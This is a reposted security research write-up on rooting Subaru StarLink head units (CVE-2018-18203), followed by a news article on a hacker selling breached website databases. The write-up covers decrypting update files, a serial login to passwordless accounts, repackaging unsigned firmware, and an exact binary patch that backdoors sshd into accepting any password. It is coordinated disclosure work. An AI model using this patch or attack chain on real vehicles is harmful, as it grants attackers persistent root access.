"/etc/keys/symm.key" LOAD:08052AEA FE F7 68 EA BLX fopen64 LOAD:08052AEE 05 46 MOV R5, R0 LOAD:08052AF0 48 B9 CBNZ R0, loc_8052B06 LOAD:08052AF2 35 4B LDR R3, =(a89abcdefcalcne+8) ; "calcNewSymmKey" LOAD:08052AF4 02 21 MOVS R1, #2 LOAD:08052AF6 0A 46 MOV R2, R1 LOAD:08052AF8 00 93 STR R3, [SP,#0xC0+var_C0] LOAD:08052AFA 32 23 MOVS R3, #0x32 LOAD:08052AFC 01 93 STR R3, [SP,#0xC0+var_BC] LOAD:08052AFE 33 4B LDR R3, =aUnableToOpenSy ; " Unable to open symm key file : %s , %d"... LOAD:08052B00 FE F7 FE EC BLX slog2f LOAD:08052B04 1E E0 B return_err A major hint is the debug error message that happens to print the function name. The function the symmetric key gets loaded in is called calcNewSymmKey, and another debug message prints "Decrypting...". The symmetric key is modified via some form of transformation. Key Generation Back before every app was built with Electron and used around three gigs of RAM to send a tweet, software authors would distribute demos and shareware, which was software that usually had the complete functionality unlocked for a brief time-trial. To unlock it, you would pay the author and get back a code (serial) you could enter into the program. This serial was often tied to hardware specific information or a user-name. If the serial was valid, the program would unlock. There are numerous different ways to get around this. In order of what the "scene" considered most technically impressive and useful back in the day, the best way to bypass software serial schemes was as follows: Key Generator - Reverse engineer the author's serial registration algorithm. Port it to C or well documented, ASM, write a nifty win32 applet that plays mod files and makes your logo spin around, etc. Self-key generation - Modify the binary to print out the real serial number in a text box. Many programs would make the fatal mistake of comparing the true serial with the one the user entered via strcmp. Just change the comparison to a message box display function and exit right after as you probably overwrote some important code. After you get the code, delete the patched version, install the original, and you have an "authentically" registered program. Patching - Bypass the time-limit, always return "Registered", etc. The more patches it took, usually the worse the "crack" was. Reverse engineering the key generation algorithm was always the hardest method. Patching was challenging as it was a cat and mouse game between developers and crackers. Registration functionality would get increasingly complicated to try and obfuscate what was going on. Harman has designed an encryption scheme that is quite similar to early software protection efforts. Emulation Harman's algorithm looks rather simple as the function generating the new key doesn't call into any subroutines, doesn't use any system calls, and is only 120 lines of ARM. The ARM is interesting to look at, but at the end of the day one can statically analyze the entire process without ever leaving the subroutine. But understanding the assembly and converting it to C will take time. What if we could just emulate the algorithm? We're running ARM. The easiest way will be to take the actual assembly and paste it directly into an assembly stub, then call into that from C. After it returns, print the modified memory contents. Cross-compile it, run in QEMU, and done. The idea is to take the Harman transformation code and run it exactly. This isn't quite as easy as copy-and-paste, but it is close. I had to modify a few registers to get this to work. The assembly stub: .syntax unified .section .text .global decrypt .cpu cortex-a9 .thumb decrypt: push {r4-r7, lr} # Code goes here! pop {r4-r7, pc} The C shim: #include <stdio.h> extern char *decrypt(char *, int); #define SALT 0x0 int main() { char symmetric_key[] = "key-was-here"; char *output = decrypt(symmetric_key, SALT); printf("Key is: %s\n", output); return 0; } The Makefile: all: arm-linux-gnueabi-gcc -Wall -pedantic key.c -g algo.s -static -mthumb && qemu-arm -cpu cortex-a9 a.out clean: rm a.out The only other trick to note is that the calcNewSymmKey function takes in one parameter called a salt. Salt is loaded from the very end of the standard ISO header (0x7FDE) and is also printed in some of the build artifacts that are still packaged with the updates. 00007fd0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 39 |..............09| 00007fe0 a9 2b 74 10 51 6b 01 46 5b 1a e3 40 dc d1 ec d5 |.+t.Qk.F[..@....| 00007ff0 36 a4 53 0c 23 05 bd 76 ac 60 83 f0 7b 88 79 c5 |6.S.#..v.`..{.y.| 00008000 01 43 44 30 30 31 01 00 57 69 6e 33 32 2f 4d 69 |.CD001..Win32/Mi| The salt fetching code simply converts a two-digit ASCII character array into an integer. salt = 10 * DIGIT1 + DIGIT2 - 0x210; Which is just an expanded version of the "convert a two-digit character array representing an integer number to an integer" algorithm: salt = 10(DIGIT1 - 0x30) + (DIGIT2 - 0x30) After running the key generator with the correct salt, we get a significantly modified symmetric key that decrypts the clusters. Easy as that! I believe the true key generation algorithm can be derived by playing around with the symmetric key and the salt value with the key generator. It appears to be a simple rotation cipher. I will not release the full key generator as it is using Harman's own code. On the plus side, this should cut down on "I flashed a random binary to my head unit and it won't turn on" support e-mails. Cluster Decryption With the new key, the aforementioned guessed decryption scheme works. IV is indeed the first chunk, followed by the authentication tag, followed by the encrypted data. 00000000 04 eb 10 90 00 60 00 01 10 43 00 18 d8 6f 17 00 |.....`...C...o..| 00000010 00 80 fa 31 c0 8e d0 bc 00 20 b8 c0 07 50 b8 36 |...1..... ...P.6| 00000020 01 50 cb 00 2b 81 00 66 90 e9 00 02 8d b4 b7 01 |.P..+..f........| 00000030 39 81 00 ff ff 04 00 93 27 08 00 3d 01 00 04 18 |9.......'..=....| 00000040 00 90 7c 26 b8 00 9b cf d7 01 19 cf 00 0d 0a 51 |..|&...........Q| 00000050 4e 58 20 76 31 2e 32 62 20 42 6f 6f 74 20 4c 6f |NX v1.2b Boot Lo| 00000060 61 64 65 72 57 00 10 55 6e 73 75 70 70 6f 72 74 |aderW..Unsupport| 00000070 65 64 20 42 49 4f 53 52 00 08 52 41 4d 20 45 72 |ed BIOSR..RAM Er| 00000080 72 6f 7e 00 09 44 69 73 6b 20 52 65 61 64 26 12 |ro~..Disk Read&.| 00000090 00 10 4d 69 73 73 69 6e 67 20 4f 53 20 49 6d 61 |..Missing OS Ima| 000000a0 67 65 52 00 07 49 6e 76 61 6c 69 64 29 13 00 29 |geR..Invalid)..)| 000000b0 17 01 06 4d 75 6c 74 69 2d 76 03 03 00 3a 20 5b |...Multi-v...: [| 0x9010eb04 is the tag for a QNX6 filesystem. Some of the strings look slightly corrupted, which is probably explained by the compression. Cluster Decompression If we go back to the binary and look for a hint, we find a great one: LOAD:0805D6D8 41 73 73 65+aAssertionFaile DCB "Assertion failed in %s@%d:e == LZO_E_OK",0 This points us, with almost absolute certainty, to lzo. Take the chunk, pass it to lzo1x_decompress_safe() via C or Python, then get the following error message: lzo.error: Compressed data violation -6 So, this isn't miniLZO? This part stumped me for a few hours as lzo1x is by far the most commonly used compression function used from the LZO library. The LZO library does provide many other options that are benchmarked in the LZO documentation — i.e., there's also LZO1, LZO1A, LZO1B, LZO1C, LZO1F, LZO1Y, etc. lzo1x is packaged inside of miniLZO, and is recommended as the best, hence seems to be almost the only algorithm ever used as far as I am aware. From the LZO documentation: My experiments have shown that LZO1B is good with a large blocksize or with very redundant data, LZO1F is good with a small blocksize or with binary data and that LZO1X is often the best choice of all. LZO1Y and LZO1Z are almost identical to LZO1X - they can achieve a better compression ratio on some files. Beware, your mileage may vary. I tested most of the algorithms, and only one worked: lzo1c_decompress_safe. So, why was lzo1c used? I have absolutely no idea. My guess is someone was bored one day and benchmarked several of the lzo algorithms for QNXCNDFS, or someone thought this would make it difficult to recover the actual data. This just makes decryption an annoyance as every upstream lzo package usually only implements the lzo1x algorithm. Mounting the Image After all of this, we can now decrypt and decompress all of the chunks. Concatenating the result of this gives us a binary blob that looks quite like a QNX6 filesystem. The Linux kernel can be built to mount QNX6 filesystem as read-only thanks to the work of Kai Bankett. However, if we try to mount the concatenated image, we get a superblock error. $ sudo mount -t qnx6 -o loop system.dat.dec.noextent mnt mount: /home/work/workspace/mnt: wrong fs type, bad option, bad superblock on /dev/loop7, missing codepage or helper program, or other error. The kernel module reports: [ 567.260015] qnx6: unable to read the second superblock On top of all of this, some of the header fields do not appear to match up with what we expect: raw size (dword header offset: 0x10) does not match the file size of our decrypted and decompressed blob. This almost certainly has to do with the previously ignored extents section of the QNXCNDFS file. The Extents Section Most of the QNXCNDFS file is now understood, with one exception: the extents section. 00000200 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 |......... ......| 00000210 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000220 00 20 00 00 00 00 00 00 00 02 00 00 00 00 00 00 |. ..............| 00000230 80 02 00 00 00 00 00 00 00 20 00 00 00 00 00 00 |......... ......| 00000240 00 30 00 00 00 00 00 00 00 80 07 0c 00 00 00 00 |.0..............| 00000250 80 02 00 00 00 00 00 00 00 22 00 00 00 00 00 00 |........."......| 00000260 00 b0 ff 3f 00 00 00 00 00 02 00 00 00 00 00 00 |...?............| 00000270 80 0e 00 00 00 00 00 00 00 a2 07 00 00 00 00 00 |................| Low entropy again, so we can try guessing. We know the size and start of the extents section from the header. We know there are four "extents" (again from the header), hence the above is almost certainly four sets of four dwords. Searching the binary for useful strings isn't too productive. Two fields are named, but no other hints: LOAD:0805DD8C 41 73 73 65+aAssertionFaile_1 DCB "Assertion failed in %s@%d:cpos == xtnt->clstr0_pos",0 ... LOAD:0805DE2C 41 73 73 65+aAssertionFaile_2 DCB "Assertion failed in %s@%d:offset == xtnt->clstr0_off",0 So, one field may be a cluster position, the other may be some form of cluster offset. There seem to be some patterns in the data. If we assume the first dword is an address and the second dword is a length, the results look good. Extent at 0x200: Write Address: 0x00000000, Write Size: 0x00002000 Extent at 0x220: Write Address: 0x00002000, Write Size: 0x00000200 Extent at 0x240: Write Address: 0x00003000, Write Size: 0x0C078000 Extent at 0x260: Write Address: 0x3FFFB000, Write Size: 0x00000200 Adding up the write sizes gives us 0xC07A400, which matches the header field for "raw data bytes" of the file. These don't line up perfectly. The first and second extent makes sense — write address 0 + write size 0 = write address 1. What do the third and fourth dword represent? Clusters are likely involved, in fact, the third dword does point to offsets that line up with cluster table entries. Dword four is a bit mysterious. To solve this, understanding the QNX6 superblock structure is helpful. Understanding the Extents There's a well written write-up of the QNX6 filesystem structure done by the same individual that implemented the driver in the Linux kernel. Summarizing the useful parts, there are two superblocks in the filesystem images. One is near the beginning and one is near the end. Debugging the kernel module indicates that the first superblock is correct and validating, while the second is missing or invalid. Manually calculating the second superblock address via following the source code gets us this: //Blocksize is 1024 (0x400) //num_blocks = 0xFFFE0 //bootblock offset = #define QNX6_BOOTBLOCK_SIZE 0x2000 #define QNX6_SUPERBLOCK_AREA 0x1000 /* calculate second superblock blocknumber */ offset = fs32_to_cpu(sbi, sb1->sb_num_blocks) + (bootblock_offset >> s->s_blocksize_bits) + (QNX6_SUPERBLOCK_AREA >> s->s_blocksize_bits); So: 0xFFFE0 + (0x2000 >> 10) + (0x1000 >> 10) * 1024 block size is offset: (0xFFFE0 + 8 + 4) * 1024 = 0x3FFFB000 Note that the calculated second superblock address is the same as the last extent write address. At this point, it became clear to me that the extents section is just used to "compress" large runs of zeros. The last extent is skipping a large chunk of memory and then writing out the superblock from the end of the last cluster. Thus, we can process the extents like this: aa aa aa aa 00 00 00 00 bb bb bb bb 00 00 00 00 cc cc cc cc 00 00 00 00 dd dd dd dd 00 00 00 00 At offset 0xaaaaaaaa, write 0xbbbbbbbb bytes from offset 0xdddddddd into the cluster pointed to by cluster table entry 0xcccccccc. Or, a real example: 00000200 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 |......... ......| 00000210 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000220 00 20 00 00 00 00 00 00 00 02 00 00 00 00 00 00 |. ..............| 00000230 80 02 00 00 00 00 00 00 00 20 00 00 00 00 00 00 |......... ......| 00000240 00 30 00 00 00 00 00 00 00 80 07 0c 00 00 00 00 |.0..............| 00000250 80 02 00 00 00 00 00 00 00 22 00 00 00 00 00 00 |........."......| 00000260 00 b0 ff 3f 00 00 00 00 00 02 00 00 00 00 00 00 |...?............| 00000270 80 0e 00 00 00 00 00 00 00 a2 07 00 00 00 00 00 |................| mmap a 0 set file of header field "raw size" bytes. At offset 0x00000000, write 0x00002000 bytes from an offset of 0x00000000 into the cluster pointed to by table entry 0x0280. At offset 0x00002000, write 0x00000200 bytes from an offset of 0x00002000 into the cluster pointed to by table entry 0x0280. At offset 0x00003000, write 0x0c078000 bytes from an offset of 0x00002200 into the cluster pointed to by table entry 0x0280. At offset 0x3fffb000, write 0x00000200 bytes from an offset of 0x07a20000 into the cluster pointed to by table entry 0x0e80. As the 0x0c078000 byte write runs off the end of first cluster, the correct behavior is to jump to the next cluster in the table and continue reading. This simplifies the extents section. Final Decompression With this, we know enough to completely decompress the encrypted and compressed QNXCNDFS files and successfully mount them through the Linux QNX6 driver. This was all done via static analysis. See qdecant for a rough implementation of this, but do note that you'll have to compile your own python lzo module with one function call change for this to work. This was a quick, and woefully inefficient, script to get the files dumped as soon as possible. I would have improved it further, but you'll see why I didn't subsequently. system.dat Here's a small sample of the files and directories inside of system.dat: ./bin ... ./bin/bt_test ./bin/iocupdate ./bin/awk ./bin/display_image ./bin/gles1-gears ./bin/screenshot ... ./lib ./lib/libQt53DLogic.so.5 ... ./lib/libQt53DQuick.so.5 ./etc ./etc/resolv.conf ./etc/licenseAgreement.txt ./etc/openSourceLicenses.txt ./etc/options.connmgr ./app/usr/share/prompts/waveFiles/4CH ... ./app/usr/share/trace/UISpeechService.hbtc ./app/etc/wicome/DbVersion.txt ... ./app/etc/wicome/SCP.rnf ./app/etc/speech/AudioConfig.txt ./app/share/updatestrings.json ./app/wicome ./usr ./usr/var ./usr/var/DialogManager ./usr/var/DialogManager/DynamicUserDataGrammar ./usr/var/UISS ./usr/var/UISS/speechTEFiles/sat ./dialogManager/dialog/grammar/en_US/grammarHouseBackward.fcf ... ./ifs_images ./ifs_images/sys1.ifs ./ifs_images/core1.ifs ./ifs_images/hmi1.ifs ./ifs_images/second1.ifs ./ifs_images/third1.ifs Far less than I imagined. Plenty of duplicated files we already had access to from the ISO file. The interesting find are the new ifs files at the bottom. ifs_images There are plenty of more files in the system.dat ifs images. It is always fun to look around system internals. Here are a few interesting findings: tr.cpp - Some sort of build artifact. Has something to do with mapping fonts or translation strings to the UI I believe. Hints at a dealer, factory, and engineering mode. I believe dealer and factory can be triggered with known button combinations. I am unsure how to get into engineering mode or what it even contains. "FACTORY_MODE"<<"DEALER_MODE"<<"ENGINEERING_MODE"; CarplayService.cfg - Apple apparently recommends that head units supporting Carplay not inject their own UI/functionality on top of or next to Carplay. Well done Apple and Subaru, that's always annoying. "Screen_Width": 800, /* March-02-2016: The Apple Spec recommended is slightly changed here as per discussion with Apple [during demo over webex] and they suggested the carplay screen to occupy full screen of HU removing the status bar [maserati icon]*/ Internal document — Found an older Microsoft Office document with what looks like company internal details (serial numbers) on various components. Mentions a number of cars in the Subaru lineup then a codename for some sort of new Subaru North American vehicle. This is from 2016, so I'd guess that vehicle has already been announced by now. On the bright side, it didn't look very sensitive. Overall, there was lots of stuff, but no obvious code execution mechanisms found in the brief search. I was hoping for a script that loaded code from the USB drives, some form of debugging mode with peek/poke, or anything useful. There are enough files here where I could probably keep exploring and find an avenue, but let's revisit the serial port for now. Back to QNXCNDFS Most of the QNXCNDFS structure is understood. Nowhere during the reverse engineering process did I find any signatures, signature verification code, or strings indicating some form of signature check taking place. However, being able to prove that there isn't a signature check is difficult through reverse engineering alone. The easiest way to prove this would be to generate our own custom QNXCNDFS image, overwrite one in the update file, and try to flash it down. It it works, great; if not, we'll probably get a new error message that will point us to another signature check we missed. As we understand the file structure, we could work backwards and create a tool to compress a QNX6 filesystem image into a QNXCNDFS file. But we also know that the cndfs application looks to support creating QNXCNDFS files, so if we already had code-execution, we could just use that tool to create our images and skip the time-consuming step of trying to generate valid QNXCNDFS files from scratch. Both are viable options, but let's look for more flaws first. The Shadow File Here's the shadow file with the hashes replaced. root:@S@aaaaa@56c26c380d39ce15:1042473811:0:0 logger:@S@bbbbb@607cb4704d35c71b:1420070987:0:0 certifier:@S@ccccc@e0a3f6794d650876:1420137227:0:0 Three passwords I failed to crack. Here's passwd: root:x:0:0:Superuser:/:/bin/sh daemon::1:2:daemon:/: dm::2:8:dwnmgr:/: Important notes about passwd here, from the QNX manual: If the has_passwd field contains an x character, a password has been defined for this user. If no character is present, no password has been defined. and The initial_command field contains the initial command to run after the user has successfully logged in. This command and any arguments it takes must be separated by tab or space characters. As the command is spawned directly (not run by a shell), no shell expansions is performed. There is no mechanism for specifying command-line arguments that contain space or tab characters themselves. (Quoting isn't supported.) If no initial_command is specified, /bin/sh is used. So, we can potentially login over serial to daemon and dm. They have no password defined, and no initial command specified, which implies /bin/sh will be the command. Does this work? Non-privileged Code Execution Absolutely. $ ls sh: ls: cannot execute - No such file or directory $ echo $PATH :/proc/boot:/bin:/usr/sbin:/fs/core1/core1/bin:/fs/sys1/sys1/bin:/fs/core/hmi:/fs/second1/second1/bin:/fs/third1/third1/bin:/sbin:/fs/system/bin $ cd /fs/system/bin $ echo * HBFileUpload NmeCmdLine antiReadDisturbService awk bt_test cat cdqnx6fs changeIOC chkdosfs chkfsys chkqnx6fs chmod cp cypress_ctrl date dbus-send dbustracemonitor dd devb-umass devc-serusb display_image emmcvuc fdisk fs-cifs fsysinfo gles1-gears grep hd hmiHardControlReceiver hogs inetd inject iocupdate isodigest ls mediaOneTestCLI mkdir mkdosfs mkqnx6fs mtouch_inject mv netstat pcm_logger pfctl pidin ping pppd qdbc rm screenshot showmem slog2info softwareUpdate sshd sync telematicsService telnetd testTimeshift top tracelogger ulink_ctrl use watchdog-server which $ ./cdqnx6fs sh: ./cdqnx6fs: cannot execute - Permission denied Unfortunately, nearly ever binary is locked down to the root user. We can only navigate around via cd and dump directory contents with echo *. The good news is that when the system mounts a FAT32 USB drive, it marks every binary as 777. Thus, glob every binary we've extracted thus far into a folder on a flash drive, insert it into the head unit USB adapter, connect to dm or daemon via serial, set your $PATH to include the aforementioned folder, and then type ls. $ ls -las / total 201952 1 lrwxrwxrwx 1 root root 28 Jan 01 00:02 HBpersistence -> /fs/data/app/usr/share/trace 1 drwxr-xr-x 2 root root 30 May 25 2017 bin 1 drwxr-xr-x 2 root root 10 May 25 2017 dev 1 drwxr-xr-x 2 root root 20 May 25 2017 etc 0 dr-xr-xr-x 2 root root 0 Jan 01 00:02 fs 1 dr-xr-x--- 2 root 73 10 Dec 31 1969 home 0 drwxrwxr-x 8 root root 0 Jan 01 00:01 pps 201944 dr-xr-xr-x 2 root root 103395328 Jan 01 00:02 proc 1 dr-xr-x--- 2 root upd 10 Dec 31 1969 sbin 0 dr-xr-xr-x 2 root root 0 Jan 01 00:02 srv 1 lrwxrwxrwx 1 root root 10 May 25 2017 tmp -> /dev/shmem 1 drwxr-xr-x 2 root root 10 May 25 2017 usr Local code execution via serial. We can now execute every binary that doesn't require any sort of enhanced privileges. cdqnx6fs is one of them. $ ./cdqnx6fs ---help cdqnx6fs - condense / restore Power-Safe (QNX6) file-systems cdqnx6fs -c [(general-option | condense-option)...] src dst cdqnx6fs -r [(general-option | restore-option)...] src dst I wish I could provide some sage advice on how I solved this but it just comes down to experience. Do it enough and patterns will emerge. Image Creation Assuming cdqnx6fs works, we can now extract the system.dat (using the -r flag), mount the extracted QNX6 image in a system that supports read/write operations, modify the image in some way, flash it back down, and see if it works. If the image truly isn't signed or the verification code is broken, the flashing step will succeed. To modify the QNX6 images, we can't use the Linux driver as that only supports reading. We'll have to use an official QNX 6 test VM for full QNX6 filesystem IO. Extract the image, mount the image, add a test file in a known directory, unmount the image, transfer it back to the Harman head unit, repackage it using the correct encryption key, replace the file into the update package, flash it down, pray. The install succeeds and we can find the new file via serial. The system effectively runs unsigned code and the only "protection" against this is what looks to be an easily reverse engineered cipher. Root Escalation We can now modify system files, but the next question is, what files should we modify for root code execution? Keep in mind that the shadow file and various SSH keys are in the IFS binary blobs. So, while the best root method may be replacing the root password, that would involve more reverse engineering. We don't know the IFS file structure, and at this point, diving into yet another binary blob black box format doesn't sound enjoyable. (Someone else do it.) There are a large number of files not in the IFS images, but none of them are shell scripts or any sort of obvious startup script we can modify. Our options are mostly all system binaries. There are an infinite number of ways to gain (network) code execution by replacing binaries, but I'll stick with what I thought of first. Let's backdoor SSH to always log us in even if the password is incorrect. Backdooring SSH You'd think this part would just be a web search away. Unfortunately, searching for "backdooring ssh" leads to some pretty useless parts of the Internet. Pull the source for the version of OpenSSH running on the system — it's 5.9 (check strings and you'll see OpenSSH_5.9 QNX_Secure_Shell-20120127). Browse around, try to understand the authentication process, and target a location for a patch. There were a few locations that looked good, but I started here in auth2-passwd.c: Here's userauth_passwd: static int userauth_passwd(Authctxt *authctxt) { char *password, *newpass; int authenticated = 0; int change; u_int len, newlen; change = packet_get_char(); password = packet_get_string(&len); if (change) { /* discard new password from packet */ newpass = packet_get_string(&newlen); memset(newpass, 0, newlen); xfree(newpass); } packet_check_eom(); if (change) logit("password change not supported"); else if (PRIVSEP(auth_password(authctxt, password)) == 1) authenticated = 1; memset(password, 0, len); xfree(password); return authenticated; } The patch should be straight forward. Instead of returning authenticated = 0 on failure, always return authenticated = 1. Find this location in the binary by matching strings: .text:080527E6 .text:080527E6 loc_80527E6 ; CODE XREF: sub_805279C+38↑j .text:080527E6 CBZ R6, loc_80527F2 .text:080527E8 LDR R0, =aPasswordChange_0 ; "password change not supported" .text:080527EA MOVS R5, #0 .text:080527EC BL sub_806CC94 .text:080527F0 B loc_805280E .text:080527F2 ; --------------------------------------------------------------------------- .text:080527F2 .text:080527F2 loc_80527F2 ; CODE XREF: sub_805279C:loc_80527E6↑j .text:080527F2 LDR R3, =dword_808A758 .text:080527F4 MOV R0, R5 .text:080527F6 MOV R1, R4 .text:080527F8 LDR R3, [R3] .text:080527FA CBZ R3, loc_8052802 .text:080527FC BL sub_8056A18 .text:08052800 B loc_8052806 .text:08052802 ; --------------------------------------------------------------------------- .text:08052802 .text:08052802 loc_8052802 ; CODE XREF: sub_805279C+5E↑j .text:08052802 BL sub_8050778 .text:08052806 .text:08052806 loc_8052806 ; CODE XREF: sub_805279C+64↑j .text:08052806 SUBS R3, R0, #1 .text:08052808 NEGS R0, R3 .text:0805280A ADCS R0, R3 .text:0805280C MOV R5, R0 .text:0805280E .text:0805280E loc_805280E ; CODE XREF: sub_805279C+54↑j .text:0805280E MOVS R1, #0 ; c .text:08052810 LDR R2, [SP,#0x28+var_24] ; n .text:08052812 MOV R0, R4 ; s .text:08052814 BLX memset .text:08052818 MOV R0, R4 .text:0805281A BL sub_8072DB0 .text:0805281E LDR R3, =__stack_chk_guard .text:08052820 LDR R2, [SP,#0x28+var_1C] .text:08052822 MOV R0, R5 .text:08052824 LDR R3, [R3] .text:08052826 CMP R2, R3 .text:08052828 BEQ loc_805282E .text:0805282A BLX __stack_chk_fail .text:0805282E ; --------------------------------------------------------------------------- .text:0805282E .text:0805282E loc_805282E ; CODE XREF: sub_805279C+8C↑j .text:0805282E ADD SP, SP, #0x14 .text:08052830 POP {R4-R7,PC} R0 is our return value in ARM, and will contain the value of authenticated on subroutine exit. The write to R0 is: .text:08052822 28 46 MOV R0, R5 Change this to return authenticated = 1;, which is going to be this in ASM: .text:08052822 01 20 MOVS R0, #1 Thus, 28 46 -> 01 20. Not the best backdoor possible, but it works. $ ssh root@192.168.0.1 ****************************** SUBARU ******************************* Warning - You are knowingly accessing a secured system. That means you are liable for any mischeif you do. ********************************************************************* root@192.168.0.1's password: # uname -a QNX localhost 6.6.0 2016/09/07-09:25:33CDT i.MX6S_Subaru_Gen3_ED2_Board armle # cat /etc/shadow root:@S@aaaaaa@56c26c380d39ce15:1042473811:0:0 logger:@S@bbbbbb@607cb4704d35c71b:1420070987:0:0 certifier:@S@cccccc@e0a3f6794d650876:1420137227:0:0 # pidin -F "%n %U %V %W %X %Y %Z" | grep sh usr/sbin/sshd 0 0 0 0 0 0 usr/sbin/sshd 0 0 0 0 0 0 bin/sh 0 0 0 0 0 0 Putting it All Together To root any 2017+ Subaru StarLink head unit, an attacker needs the following to generate valid update images: A Subaru head unit with serial and USB port access. The encryption keys for the update files. An official update. These seem to be available for most platforms in many different ways. Without the official update, the ISO signature check will fail and the install will not continue to the stage where the QNXCNDFS files are written. Physical access to the vehicles USB ports. Technically, the head unit isn't needed, but to replace it you'd need code to generate QNXCNDFS images from QNX6 filesystem images. After we have those pieces: Use the serial and USB ports to gain local code execution on the system. Decondense an official software update QNXCNDFS image. Use the QNX Platform VM Image to modify the QNX6 filesystem. Inject some form of backdoor — sshd in this case. Re-package the update file via cndfs. Replace the modified QNXCNDFS file in the official system update. Install. While this may seem like an execessive number of steps to gain code execution, keep in mind an attacker would only need to do this once and then could conceivably generate valid updates for other platforms. Valid update images were initially challenging to find, but it appears that Subaru is now releasing these via a map-update application that can be used if you have a valid VIN. I will not be releasing modified update files and I wouldn't recommend doing this to your own car. CVE-2018-18203 A vulnerability in the update mechanism of Subaru StarLink head units 2017, 2018, and 2019 may give an attacker (with physical access to the vehicle's USB ports) the ability to rewrite the firmware of the head unit. This vulnerability is due to bugs in the signature checking implementation used when verifying specific update files. An attacker could potentially install persistent malicious head unit firmware and execute arbitrary code as the root user. Next Steps After all of this, I still know very little about the Harman head unit system, but I do know how to root them. Reverse engineering QNXCNDFS wasn't required, but was an interesting avenue to explore and may help other researchers in the future. The next step is far less tedious than reversing filesystem containers — explore the system, see what hidden functionality exists (Andromeda is probably a goldmine, map out dbus), setup a cross-compiler, and so on. Notes from Subaru and Harman Both Subaru and Harman wanted to relay messages about the flaw in this write-up. I have paraphrased them below. If you have questions, please contact either Subaru or Harman directly. Note from Subaru Subaru will have updates for head units affected by this flaw in the coming weeks. Note from Harman The firmware update process attempted to verify the authenticity of the QNXCNDFS dat files. The procedure in question had a bug in it that caused unsigned images to verify as "valid", which allowed for unsigned code installation. Conclusion I started this in my free time in July of 2018 and finished early the next month. Overall, the process took less than 100 hours. The embargo was originally scheduled for 90 days, which would have been November 5th, 2018. Subaru requested more time before the original embargo ended and I agreed to extend it until the end of November. I was unable to find any sort of responsible/coordinated disclosure form on Harman or Subaru's websites. That was disappointing as Harman seems to have plenty of sales pages detailing their security programs and systems. I did managed to find a Harman security engineer on LinkedIn who did an excellent job handling the incident. Thank you! Harman and Subaru should not assume that the biggest flaw is releasing update files. Letting customers update their own head units is wonderful, and it lets security researchers find flaws and report them. Giving the updates exclusively to dealers prevents the good guys from finding bugs. Nation states and organized crime would certainly not have trouble gaining access to firmware and software updates. If anyone affiliated with education or some other useful endeavor would like the head unit, I'll be happy to ship it assuming you pay the shipping costs and agree to never install this in a vehicle. Thank you to those I worked with at Harman, especially Josiah Bruner, and to Subaru for making a great car. Questions, comments, complaints? github.scott@gmail.com Sursa: https://github.com/sgayou/subaru-starlink-research/blob/master/doc/README.md#jailbreaking-subaru-starlink
-
- 2
-
-
-
Hacker Breaches Dozens of Sites, Puts 127 Million New Records Up for Sale February 15, 2019Swati Khandelwal A hacker who was selling details of nearly 620 million online accounts stolen from 16 popular websites has now put up a second batch of 127 million records originating from 8 other sites for sale on the dark web. Last week, The Hacker News received an email from a Pakistani hacker who claims to have hacked dozens of popular websites (listed below) and selling their stolen databases online. During an interview with The Hacker News, the hacker also claimed that many targeted companies have probably no idea that they have been compromised and that their customers' data have already been sold to multiple cyber criminal groups and individuals. Package 1: Databases From 16 Compromised Websites On Sale In the first round, the hacker who goes by online alias "gnosticplayers" was selling details of 617 million accounts belonging to the following 16 compromised websites for less than $20,000 in Bitcoin on dark web marketplace Dream Market: Dubsmash — 162 million accounts MyFitnessPal — 151 million accounts MyHeritage — 92 million accounts ShareThis — 41 million accounts HauteLook — 28 million accounts Animoto — 25 million accounts EyeEm — 22 million accounts 8fit — 20 million accounts Whitepages — 18 million accounts Fotolog — 16 million accounts 500px — 15 million accounts Armor Games — 11 million accounts BookMate — 8 million accounts CoffeeMeetsBagel — 6 million accounts Artsy — 1 million accounts DataCamp — 700,000 accounts Out of these, the popular photo-sharing service 500px has confirmed that the company suffered a data breach in July last year and that personal data, including full names, usernames, email addresses, password hashes, location, birth date, and gender, for all the roughly 14.8 million users existed at the time was exposed online. Just yesterday, Artsy, DataCamp and CoffeeMeetsBagel have also confirmed that the companies were victims of a breach last year and that personal and account details of their customers was stolen by an unauthorized attacker. Diet tracking service MyFitnessPal, online genealogy platform MyHeritage and cloud-based video maker service Animoto had confirmed the data breaches last year. In response to the news, video-sharing app Dubsmash also issued a notice informing its users that they have launched an investigation and contacted law enforcement to look into the matter. Package 2: Hacked Databases From 8 More Websites On Sale While putting the second round of the stolen accounts up for sale on the Dream Market—one of the largest dark web marketplaces for illegal narcotics and drug paraphernalia—the hacker removed the collection of the first round to avoid them from getting leaked and land on security initiatives like Google's new Password Checkup tool. Gnosticplayers told The Hacker News in an email that the second round listed stolen data from 127 million accounts that belonged to the following 8 hacked websites, which was up for sale for $14,500 in bitcoin: Houzz — 57 million accounts YouNow — 40 million accounts Ixigo — 18 million accounts Stronghold Kingdoms — 5 million accounts Roll20.net — 4 million accounts Ge.tt — 1.83 million accounts Petflow and Vbulletin forum — 1.5 million accounts Coinmama (Cryptocurrency Exchange) — 420,000 accounts Of the above-listed websites, only Houzz has confirmed the security breach earlier this month that compromised its customers' public information and certain internal account information. Like the first round, the recent collection of 127 million stolen accounts has also been removed from the sale on the dark web. Though some of the services are resetting users' passwords after confirming its data was stolen, if you are a user of any of the above-listed services, you should consider changing your passwords in the event you re-used the same password across different websites. Have something to say about this article? Comment below or share it with us on Facebook, Twitter or our LinkedIn Group. Sursa: https://thehackernews.com/2019/02/data-breach-website.html?m=1
-
